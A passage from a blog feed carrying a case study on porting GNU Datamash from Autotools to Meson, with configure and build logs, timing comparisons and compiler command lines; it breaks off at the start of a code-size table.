{"title":"Georg's Log","link":[{"@attributes":{"href":"https:\/\/gms.tf\/","rel":"alternate"}},{"@attributes":{"href":"https:\/\/gms.tf\/feeds\/all.atom.xml","rel":"self"}}],"id":"https:\/\/gms.tf\/","updated":"2026-03-29T18:00:00+02:00","entry":[{"title":"Better Datamash Build Story with Meson","link":{"@attributes":{"href":"https:\/\/gms.tf\/datamash-meson.html","rel":"alternate"}},"published":"2026-03-29T18:00:00+02:00","updated":"2026-03-29T18:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2026-03-29:\/datamash-meson.html","summary":"<p>This article is a small case study on introducing the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)\">Meson<\/a> build\ntool into a legacy <a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Autotools\">Autotools<\/a> and <a href=\"https:\/\/en.wikipedia.org\/wiki\/Gnulib\">Gnulib<\/a> centric code base, i.e.\nthe <a href=\"https:\/\/www.gnu.org\/software\/datamash\/\">GNU Datamash<\/a> project.\nWith Meson, the <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commits\/branch\/main\">result<\/a> builds twice as fast and configures one order of magnitude faster\nwhile only requiring a few hundred lines \u2026<\/p>","content":"<p>This article is a small case study on introducing the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)\">Meson<\/a> build\ntool into a legacy <a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Autotools\">Autotools<\/a> and <a href=\"https:\/\/en.wikipedia.org\/wiki\/Gnulib\">Gnulib<\/a> centric code base, i.e.\nthe <a href=\"https:\/\/www.gnu.org\/software\/datamash\/\">GNU Datamash<\/a> project.\nWith Meson, the <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commits\/branch\/main\">result<\/a> builds twice as fast and configures one order of magnitude faster\nwhile only requiring a few hundred lines of Meson build files.\nAs as side-effect of this experiment the size of the executables is halved.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#on-datamash\">On Datamash<\/a><\/li>\n<li><a href=\"#on-meson\">On Meson<\/a><\/li>\n<li><a href=\"#motivation\">Motivation<\/a><\/li>\n<li><a href=\"#configure\">Configure<\/a><\/li>\n<li><a href=\"#build\">Build<\/a><\/li>\n<li><a href=\"#code-size\">Code Size<\/a><\/li>\n<li><a href=\"#on-gnulib\">On Gnulib<\/a><\/li>\n<li><a href=\"#source-overhead\">Source Overhead<\/a><\/li>\n<li><a href=\"#test-suite\">Test Suite<\/a><\/li>\n<li><a href=\"#side-effects\">Side Effects<\/a><\/li>\n<li><a href=\"#see-also\">See also<\/a><\/li>\n<li><a href=\"#conclusion\">Conclusion<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"on-datamash\">On Datamash<a class=\"headerlink\" href=\"#on-datamash\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/www.gnu.org\/software\/datamash\/\">Datamash<\/a> is a command line program for running various statistics\non tabular data, such as computing the count, average or\nmedian of a column.<\/p>\n<p>Its sweet-spot seems to be ad-hoc analyses on the command line,\non systems where installing a more heavy-weight alternative such as <a href=\"https:\/\/en.wikipedia.org\/wiki\/R_(programming_language)\">R<\/a> or <a href=\"https:\/\/en.wikipedia.org\/wiki\/DuckDB\">DuckDB<\/a> would be too inconvenient.<\/p>\n<p>In the following comparisons, I compare Datamash 1.9, released in the first half of 2025,\nagainst my <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commits\/branch\/main\">datamash 'main' branch<\/a> which has Meson support and a few other fixes and improvements added,\nand is based on the end of 2025 upstream 'master' branch, i.e. release 1.9 plus just a few minor upstream commits.<\/p>\n<h2 id=\"on-meson\">On Meson<a class=\"headerlink\" href=\"#on-meson\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/mesonbuild.com\/\">Meson<\/a> is modern build tool that is an alternative to autotools\nand CMake. See also my 2021 <a href=\"the-rise-of-meson.html#about-meson\">summary of meson<\/a>.<\/p>\n<h2 id=\"motivation\">Motivation<a class=\"headerlink\" href=\"#motivation\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)\">Meson<\/a> design improves on pain points many users often\nhave with <a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Autotools\">Autotools<\/a>, such as:<\/p>\n<ul>\n<li>configure wasting time checking for tons of things that are true\n  everywhere since decades (and doing so single-threaded)<\/li>\n<li>build wasting time with inefficient auto-generated recursive\n  makefiles<\/li>\n<li>layers of <a href=\"https:\/\/en.wikipedia.org\/wiki\/M4_(computer_language)\">m4<\/a> and shell scripting are involved which results in a\n  <a href=\"https:\/\/en.wikipedia.org\/wiki\/Spaghetti_code#Big_ball_of_mud\">big ball of mud<\/a>\n  that easily breaks and is hard to fix or work on, in general<\/li>\n<li>all the Autotools generated project specific code being hard to\n  review and being an invitation for <a href=\"https:\/\/en.wikipedia.org\/wiki\/Supply_chain_attack\">supply chain attackers<\/a> such as <a href=\"https:\/\/en.wikipedia.org\/wiki\/XZ_Utils_backdoor\">Jia Tan<\/a><\/li>\n<\/ul>\n<p>The idea with Meson is that it eliminates all these issues,\nin particular that it speeds up the build, makes the project specific build files\neasier to review, reduces maintenance efforts and simplifies\nworking with the build system, in general.<\/p>\n<h2 id=\"configure\">Configure<a class=\"headerlink\" href=\"#configure\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Using the Datamash 1.9 release, running <code>.\/configure<\/code> takes <strong>13 s<\/strong> or\nso on a modern laptop (12th Gen Intel CPU, NVMe storage, Fedora 43).\nThat configure triggers 488 checks which seems excessive.<\/p>\n<p>Some things are checked redundantly which <a href=\"https:\/\/en.wikipedia.org\/wiki\/Autoconf\">autoconf<\/a> tries to\nmitigate via caching the results, such as checks for <code>round()<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>checking whether round is declared... yes\nchecking whether round works... yes\nchecking whether roundl is declared... yes\nchecking whether round is declared... (cached) yes\nchecking whether round works... (cached) yes\nchecking whether roundl is declared... (cached) yes\n<\/code><\/pre><\/div>\n\n<p>For some reason, other checks are invoked up to two times:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>checking for stdint.h... yes\nchecking whether stdint.h conforms to C99... yes\nchecking whether stdint.h works without ISO C predefines... yes\nchecking whether stdint.h has UINTMAX_WIDTH etc.... yes\nchecking for stdint.h... yes\nchecking for stdint.h... (cached) yes\nchecking for stdint.h... (cached) yes\n<\/code><\/pre><\/div>\n\n<p>In total there are 30 cached checks.<\/p>\n<p>Some more examples of surprising checks:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"go\">checking whether strdup is declared... yes<\/span>\n<span class=\"go\">checking whether strnlen is declared... yes<\/span>\n<span class=\"go\">checking for strnlen... yes<\/span>\n<span class=\"go\">checking for working strnlen... yes<\/span>\n<span class=\"go\">checking for strtold... yes<\/span>\n<span class=\"go\">checking for strtoumax... yes<\/span>\n<span class=\"go\">checking whether strtoumax is declared... yes<\/span>\n<span class=\"go\">checking whether strtod obeys C99... yes<\/span>\n<span class=\"go\">checking whether strtold obeys POSIX... yes<\/span>\n<span class=\"go\">checking for strtoll... yes<\/span>\n<span class=\"go\">checking whether strtoll works... yes<\/span>\n<span class=\"go\">checking for strtoull... yes<\/span>\n<span class=\"go\">checking whether strtoull works... yes<\/span>\n<\/code><\/pre><\/div>\n\n<p>These are covered since either <a href=\"https:\/\/en.wikipedia.org\/wiki\/ANSI_C#C89\">C89<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/ANSI_C#C99\">C99<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/POSIX#POSIX.1-2001\">POSIX.1.-2001<\/a> or <a href=\"https:\/\/en.wikipedia.org\/wiki\/POSIX#POSIX.1-2008\">POSIX.1-2008<\/a>.\nI mean, how realistic is it that there are actually\nDatamash users who want to install the latests greatest datamash,\nbut run such a broken and vulnerable operating system that lacks support\nfor theses decades old standards.<\/p>\n<p>Sure, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Retrocomputing\">retrocomputing<\/a> can be fun, but isn't the point of\nretrocomputing to run <em>old<\/em> software?<\/p>\n<hr>\n<p>In comparison, the Meson checks concentrate on the essentials\nsuch that the setup finishes in <strong>0.5 s<\/strong> or so!\nMeaning an order of magnitude faster.\nAlso, the output volume is lower and thus more useful:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>meson<span class=\"w\"> <\/span>setup<span class=\"w\"> <\/span>--buildtype<span class=\"o\">=<\/span>debugoptimized<span class=\"w\"> <\/span>..\n<span class=\"go\">The Meson build system<\/span>\n<span class=\"go\">Version: 1.8.5<\/span>\n<span class=\"go\">Source dir: \/home\/juser\/del\/datamash<\/span>\n<span class=\"go\">Build dir: \/home\/juser\/del\/datamash\/build<\/span>\n<span class=\"go\">Build type: native build<\/span>\n<span class=\"go\">Project name: datamash<\/span>\n<span class=\"go\">Project version: undefined<\/span>\n<span class=\"go\">C compiler for the host machine: cc (gcc 15.2.1 &quot;cc (GCC) 15.2.1 20260123 (Red Hat 15.2.1-7)&quot;)<\/span>\n<span class=\"go\">C linker for the host machine: cc ld.bfd 2.45.1-1<\/span>\n<span class=\"go\">Host machine cpu family: x86_64<\/span>\n<span class=\"go\">Host machine cpu: x86_64<\/span>\n<span class=\"go\">Library m found: YES<\/span>\n<span class=\"go\">Found pkg-config: YES (\/usr\/bin\/pkg-config) 2.3.0<\/span>\n<span class=\"go\">Run-time dependency nettle found: YES 3.10.1<\/span>\n<span class=\"go\">Compiler for C supports function attribute alloc_size: YES<\/span>\n<span class=\"go\">Compiler for C supports function attribute cold: YES<\/span>\n<span class=\"go\">Compiler for C supports function attribute const: YES<\/span>\n<span class=\"go\">Fetching value of define &quot;__has_c_attribute(fallthrough)&quot; : 202311<\/span>\n<span class=\"go\">Compiler for C supports function attribute format: YES<\/span>\n<span class=\"go\">Compiler for C supports function attribute malloc: YES<\/span>\n<span class=\"go\">Compiler for C supports function attribute warn_unused_result: YES<\/span>\n<span class=\"go\">Compiler for C supports function attribute pure: YES<\/span>\n<span class=\"go\">Compiler for C supports function attribute returns_nonnull: YES<\/span>\n<span class=\"go\">Compiler for C supports function attribute sentinel: YES<\/span>\n<span class=\"go\">Checking for function &quot;strtoumax&quot; : YES<\/span>\n<span class=\"go\">Configuring config.h using configuration<\/span>\n<span class=\"go\">Program .\/tests\/datamash-tests.pl found: YES (\/home\/juser\/del\/datamash\/.\/tests\/datamash-tests.pl)<\/span>\n<span class=\"go\">[..]<\/span>\n<span class=\"go\">Program .\/tests\/decorate-sort-tests.pl found: YES (\/usr\/bin\/env perl \/home\/juser\/del\/datamash\/.\/tests\/decorate-sort-tests.pl)<\/span>\n<span class=\"go\">Program perl found: YES (\/usr\/bin\/perl)<\/span>\n<span class=\"go\">Program sh found: YES (\/usr\/bin\/sh)<\/span>\n<span class=\"go\">Program msgfmt found: YES (\/usr\/bin\/msgfmt)<\/span>\n<span class=\"go\">Program msginit found: YES (\/usr\/bin\/msginit)<\/span>\n<span class=\"go\">Program msgmerge found: YES (\/usr\/bin\/msgmerge)<\/span>\n<span class=\"go\">Program xgettext found: YES (\/usr\/bin\/xgettext)<\/span>\n<span class=\"go\">Program help2man found: YES (\/usr\/bin\/help2man)<\/span>\n<span class=\"go\">Configuring version.texi using configuration<\/span>\n<span class=\"go\">Program makeinfo found: YES (\/usr\/bin\/makeinfo)<\/span>\n<span class=\"go\">Build targets in project: 22<\/span>\n<\/code><\/pre><\/div>\n\n<p>The check for <code>strtoumax<\/code> is included as an example how easy it's\nto implement such a check in Meson, if you really need it.<\/p>\n<h2 id=\"build\">Build<a class=\"headerlink\" href=\"#build\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Allowing the make to run on 2 cores in parallel, the datamash\nautotools build finishes in <strong>4 s<\/strong> or so.<\/p>\n<p>Looking at the build messages, there are a few oddities:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">gcc<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">DLOCALEDIR<\/span><span class=\"o\">=<\/span>\\<span class=\"s2\">&quot;\/home\/juser\/local\/datamash-1.9\/share\/locale<\/span><span class=\"se\">\\&quot;<\/span><span class=\"s2\"> -DHAVE_CONFIG_H -I.<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">Ilib<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">I<\/span><span class=\"o\">.\/<\/span><span class=\"n\">lib<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Isrc<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">I<\/span><span class=\"o\">.\/<\/span><span class=\"n\">src<\/span><span class=\"w\">  <\/span><span class=\"o\">-<\/span><span class=\"n\">Wall<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wextra<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wformat<\/span><span class=\"o\">-<\/span><span class=\"n\">security<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wswitch<\/span><span class=\"o\">-<\/span><span class=\"k\">enum<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">Wswitch<\/span><span class=\"o\">-<\/span><span class=\"n\">default<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wunused<\/span><span class=\"o\">-<\/span><span class=\"n\">parameter<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wfloat<\/span><span class=\"o\">-<\/span><span class=\"n\">equal<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">fdiagnostics<\/span><span class=\"o\">-<\/span><span class=\"n\">show<\/span><span class=\"o\">-<\/span><span class=\"n\">option<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">funit<\/span><span class=\"o\">-<\/span><span class=\"n\">at<\/span><span class=\"o\">-<\/span><span class=\"n\">a<\/span><span class=\"o\">-<\/span><span class=\"n\">time<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wmissing<\/span><span class=\"o\">-<\/span><span class=\"n\">format<\/span><span class=\"o\">-<\/span><span class=\"n\">attribute<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wstrict<\/span><span class=\"o\">-<\/span><span class=\"n\">overflow<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wsuggest<\/span><span class=\"o\">-<\/span><span class=\"n\">attribute<\/span><span class=\"o\">=<\/span><span class=\"k\">const<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">Wsuggest<\/span><span class=\"o\">-<\/span><span class=\"n\">attribute<\/span><span class=\"o\">=<\/span><span class=\"n\">pure<\/span><span class=\"w\">   <\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">g<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">O2<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">MT<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">column<\/span><span class=\"o\">-<\/span><span class=\"n\">headers<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">MD<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">MP<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">MF<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/.<\/span><span class=\"n\">deps<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">column<\/span><span class=\"o\">-<\/span><span class=\"n\">headers<\/span><span class=\"o\">.<\/span><span class=\"n\">Tpo<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">c<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">column<\/span><span class=\"o\">-<\/span><span class=\"n\">headers<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"err\">`<\/span><span class=\"n\">test<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">f<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;src\/column-headers.c&#39;<\/span><span class=\"w\"> <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span><span class=\"n\">echo<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;.\/&#39;<\/span><span class=\"err\">`<\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">column<\/span><span class=\"o\">-<\/span><span class=\"n\">headers<\/span><span class=\"o\">.<\/span><span class=\"n\">c<\/span>\n<\/code><\/pre><\/div>\n\n<p>There is an extra shell invocation for each translation unit,\nwhich seems to be pointless, as you either end up with<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>gcc ... -c -o src\/foo.o src\/foo.c\n<\/code><\/pre><\/div>\n\n<p>or<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>gcc ... -c -o src\/foo.o .\/src\/foo.c\n<\/code><\/pre><\/div>\n\n<p>There is also some redundancy in linking to <code>-lm<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">gcc<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wall<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wextra<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wformat<\/span><span class=\"o\">-<\/span><span class=\"n\">security<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wswitch<\/span><span class=\"o\">-<\/span><span class=\"k\">enum<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wswitch<\/span><span class=\"o\">-<\/span><span class=\"n\">default<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wunused<\/span><span class=\"o\">-<\/span><span class=\"n\">parameter<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">Wfloat<\/span><span class=\"o\">-<\/span><span class=\"n\">equal<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">fdiagnostics<\/span><span class=\"o\">-<\/span><span class=\"n\">show<\/span><span class=\"o\">-<\/span><span class=\"n\">option<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">funit<\/span><span class=\"o\">-<\/span><span class=\"n\">at<\/span><span class=\"o\">-<\/span><span class=\"n\">a<\/span><span class=\"o\">-<\/span><span class=\"n\">time<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wmissing<\/span><span class=\"o\">-<\/span><span class=\"n\">format<\/span><span class=\"o\">-<\/span><span class=\"n\">attribute<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">Wstrict<\/span><span class=\"o\">-<\/span><span class=\"n\">overflow<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wsuggest<\/span><span class=\"o\">-<\/span><span class=\"n\">attribute<\/span><span class=\"o\">=<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wsuggest<\/span><span class=\"o\">-<\/span><span class=\"n\">attribute<\/span><span class=\"o\">=<\/span><span class=\"n\">pure<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">g<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">O2<\/span><span class=\"w\">   <\/span><span class=\"o\">-<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">datamash<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">text<\/span><span class=\"o\">-<\/span><span class=\"n\">options<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">utils<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">randutils<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">text<\/span><span class=\"o\">-<\/span><span class=\"n\">lines<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">column<\/span><span class=\"o\">-<\/span><span class=\"n\">headers<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">op<\/span><span class=\"o\">-<\/span><span class=\"n\">defs<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">op<\/span><span class=\"o\">-<\/span><span class=\"n\">scanner<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">op<\/span><span class=\"o\">-<\/span><span class=\"n\">parser<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">field<\/span><span class=\"o\">-<\/span><span class=\"n\">ops<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">crosstab<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">double<\/span><span class=\"o\">-<\/span><span class=\"n\">format<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"o\">\/<\/span><span class=\"n\">datamash<\/span><span class=\"o\">-<\/span><span class=\"n\">datamash<\/span><span class=\"o\">.<\/span><span class=\"n\">o<\/span><span class=\"w\"> <\/span><span class=\"n\">lib<\/span><span class=\"o\">\/<\/span><span class=\"n\">libdatamash<\/span><span class=\"o\">.<\/span><span class=\"n\">a<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\">              <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\">   <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">lm<\/span>\n<\/code><\/pre><\/div>\n\n<p>Meaning for unknown reasons Autotools links 16 times to libm.\nArguably, this is a good example of how even Autotools fans\nstruggle with its complexity and are overwhelmed by it.<\/p>\n<hr>\n<p>In comparison, Meson builds everything in <strong>1.5 s<\/strong> or so (i.e. more\nthan twice as fast) and its default output is more reasonable.\nThat means by default the user isn't spammed with overly long and\ncryptic low-level command invocations, but useful high-level\nprogress:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>ninja<span class=\"w\"> <\/span>-j2<span class=\"w\"> <\/span>\n<span class=\"go\">[1\/50] Compiling C object datamash.p\/src_column-headers.c.o<\/span>\n<span class=\"go\">[2\/50] Compiling C object datamash.p\/src_crosstab.c.o<\/span>\n<span class=\"go\">[..]<\/span>\n<span class=\"go\">[15\/50] Compiling C object datamash.p\/_usr_share_gnulib_lib_hashcode-mem.c.o<\/span>\n<span class=\"go\">[16\/50] Compiling C object datamash.p\/_usr_share_gnulib_lib_hashcode-string2.c.o<\/span>\n<span class=\"go\">[..]<\/span>\n<span class=\"go\">[31\/50] Linking target datamash<\/span>\n<span class=\"go\">[32\/50] Building translation po\/da\/LC_MESSAGES\/datamash-da.mo<\/span>\n<span class=\"go\">[33\/50] Building translation po\/de\/LC_MESSAGES\/datamash-de.mo<\/span>\n<span class=\"go\">[34\/50] Compiling C object decorate.p\/_usr_share_gnulib_lib_xmalloc.c.o<\/span>\n<span class=\"go\">[35\/50] Building translation po\/eo\/LC_MESSAGES\/datamash-eo.mo<\/span>\n<span class=\"go\">[..]<\/span>\n<span class=\"go\">[40\/50] Linking target decorate<\/span>\n<span class=\"go\">[48\/50] Generating datamash manual with a custom command (wrapped by meson to set env)<\/span>\n<span class=\"go\">[49\/50] Generating decorate manual with a custom command (wrapped by meson to set env)<\/span>\n<span class=\"go\">[50\/50] Generating gen-info with a custom command<\/span>\n<\/code><\/pre><\/div>\n\n<p>Of course, when a command errors out the full command line and\nerror message are presented to the user and alternatively, one\ncan run the build in verbose mode by adding <code>-v<\/code> to the ninja\ncommand.<\/p>\n<p>The verbose mode doesn't slow down the build noticeable.\nEnabling it shows that meson doesn't have the same issues with\nlinking libm:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>cc  -o datamash\n    datamash.p\/src_column-headers.c.o datamash.p\/src_crosstab.c.o datamash.p\/src_datamash.c.o\n    datamash.p\/src_double-format.c.o datamash.p\/src_field-ops.c.o datamash.p\/src_op-defs.c.o\n    datamash.p\/src_op-parser.c.o datamash.p\/src_op-scanner.c.o datamash.p\/src_randutils.c.o\n    datamash.p\/src_text-lines.c.o datamash.p\/src_text-options.c.o datamash.p\/src_utils.c.o\n    datamash.p\/modern_system.c.o datamash.p\/_usr_share_gnulib_lib_exitfail.c.o\n    datamash.p\/_usr_share_gnulib_lib_hash.c.o datamash.p\/_usr_share_gnulib_lib_hashcode-mem.c.o\n    datamash.p\/_usr_share_gnulib_lib_hashcode-string2.c.o datamash.p\/_usr_share_gnulib_lib_linebuffer.c.o\n    datamash.p\/_usr_share_gnulib_lib_next-prime.c.o datamash.p\/_usr_share_gnulib_lib_version-etc.c.o\n    datamash.p\/_usr_share_gnulib_lib_xalloc-die.c.o datamash.p\/_usr_share_gnulib_lib_xmalloc.c.o\n    -Wl,--as-needed -Wl,--no-undefined -Wl,--start-group -lm \/usr\/lib64\/libnettle.so -Wl,--end-group\n<\/code><\/pre><\/div>\n\n<p>In contrast to the Autotools status quo, I decided against creating a static library of the Gnulib parts,\nsince the effort doesn't pay off, because it's only used by two executables.\nInstead I link only those Gnulib translation units directly which are essential for each binary.<\/p>\n<h2 id=\"code-size\">Code Size<a class=\"headerlink\" href=\"#code-size\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Comparing the sizes of executables in the Datamash 1.9 vs. Meson branch shows substantial\nsavings with Meson (all sizes in bytes, via <code>size -G<\/code>):<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>branch<\/th>\n<th>filename<\/th>\n<th><a href=\"https:\/\/en.wikipedia.org\/wiki\/Code_segment\">text<\/a><\/th>\n<th><a href=\"https:\/\/en.wikipedia.org\/wiki\/Data_segment\">data<\/a><\/th>\n<th><a 